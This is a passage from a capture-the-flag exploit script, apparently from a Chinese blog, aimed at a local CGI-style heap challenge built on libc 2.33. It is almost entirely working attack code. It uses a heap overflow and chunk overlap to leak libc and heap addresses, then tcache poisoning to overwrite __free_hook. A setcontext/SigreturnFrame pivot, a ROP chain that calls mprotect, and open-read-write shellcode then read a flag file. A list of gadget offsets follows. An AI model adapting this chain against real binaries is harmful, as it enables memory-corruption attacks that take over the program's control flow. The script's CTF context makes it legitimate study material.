elf_base = int(os.popen('pmap {}| awk \x27{{print \x241}}\x27'.format(p.pid)).readlines()[1], 16) if elf.pie else 0
gdbscript += 'b *{:#x}\n'.format(int(breakpoint) + elf_base) if isinstance(breakpoint, int) else breakpoint
gdb.attach(p, gdbscript)
time.sleep(1)
elf = ELF('./pwn')
context(arch = elf.arch, os = 'linux',log_level = 'debug',terminal = ['tmux', 'splitw', '-hp','62'])
p = remote('127.0.0.1',8087)
def login():
package = '''POST /Login.cgi HTTP/1.1
\nUser-Agent:IceCreeeam
Data:Sup3rP@ssw0rd\n
'''.replace('\n','\r\n')
sleep(0.3)
sla('> ',package)
def add(id,data):
package = '''POST /Panel.cgi HTTP/1.1
\nUser-Agent:IceCreeeam
Data:1#{}#{}\n
'''.replace('\n','\r\n').format(id,data)
sleep(0.3)
sla('> ',package)
def dele(id):
package = '''POST /Panel.cgi HTTP/1.1
\nUser-Agent:IceCreeeam
Data:2#{}\n
'''.replace('\n','\r\n').format(id)
sleep(0.3)
sla('> ',package)
def show(id):
package = '''POST /Panel.cgi HTTP/1.1
\nUser-Agent:IceCreeeam
Data:3#{}\n
'''.replace('\n','\r\n').format(id)
sleep(0.3)
sla('> ',package)
# Step 1: Login
login()
# Step 2: HeapOverflow -> Unsorted Chunk Overlap Tcache
for i in range(7):
add(i,'chunk%d'%i)
add(7,'chunk7')
add(7,'chunk8')
add(7,'chunk9')
add(7,'chunk10')
add(7,'chunk11')
dele(0)
add(0,'u'*0x78+p64(0x80*9+1))
dele(1)
# Step 3: Leak libc,heap
add(1,'u')
show(1)
libc_leak = uu64(ru('\x7f',drop=False)[-6:])
libc_base = libc_leak - 0x1e1075
lg('libc_leak',libc_leak)
lg('libc_base',libc_base)
libc = ELF('./libc-2.33.so')
libc.address = libc_base
system_addr = libc.sym.system
bin_sh = libc.search('/bin/sh').next()
dele(1)
add(1,'u'*0x10)
show(1)
ru('u'*0x10)
heap_leak = uu64(rc(6))
heap_base = heap_leak - 0x420
lg('heap_leak',heap_leak)
lg('heap_base',heap_base)
# Step 4: Hijack __free_hook -> gets,Overflow,Setcontext ROP -> ORW
dele(5)
dele(4)
dele(3)
add(3,'u'*0x80+p64((heap_base>>12)^(libc.sym.__free_hook)))
add(3,'u'*0x80+p64((heap_base>>12)^(libc.sym.__free_hook)))
add(4,p64(libc.sym.gets))
leave_ret = libc_base + 0x000000000005525c
magic = libc_base + 0x14a0a0
fuck = SigreturnFrame()
fuck.rip = libc.sym.read
fuck.rdx = 0x300
fuck.rdi = 0
fuck.rsi = heap_base + 0x300
fuck.rsp = heap_base + 0x300
payload = flat(
['a'*0x80]+[0,heap_base+0x430,-1,-1,libc.sym.setcontext+61,str(fuck)[0x28:]]
)
sleep(1)
dele(0)
sl(payload)
sleep(2)
dele(4)
sl(p64(magic))
rdi = libc_base + 0x0000000000028a55
rsi = libc_base + 0x000000000002a4cf
rdx = libc_base + 0x00000000000c7f32
jmp_rsi = libc_base + 0x00000000000506b1
rop_chain = flat([
rdi,heap_base,rsi,0x1000,rdx,7,libc.sym.mprotect,rdi,0,rsi,heap_base,rdx,0x200,libc.sym.read,jmp_rsi
])
dele(1)
sleep(2)
sl(rop_chain)
sleep(2)
sl(asm(shellcraft.pushstr('/flag')+shellcraft.syscall('0x101','0','rsp','0')+shellcraft.read('rax','rsp','0x50')+shellcraft.write('1','rsp','0x50')))
p.interactive()
'''
0x0000000000044c70 : pop rax ; ret
0x000000000002a334 : pop rax ; ret 0xffff
0x00000000000266e0 : pop rbp ; ret
0x000000000002682f : pop rbp ; ret 0x1b
0x000000000003418f : pop rbx ; ret
0x000000000008dd61 : pop rbx ; ret 0xffff
0x0000000000028a55 : pop rdi ; ret
0x00000000000c7f32 : pop rdx ; ret
0x000000000002a4cf : pop rsi ; ret
0x0000000000033af2 : pop rsp ; ret
0x0000000000026699 : ret
'''
原文地址：http://www.cnblogs.com/M0x1n/p/16905757.html
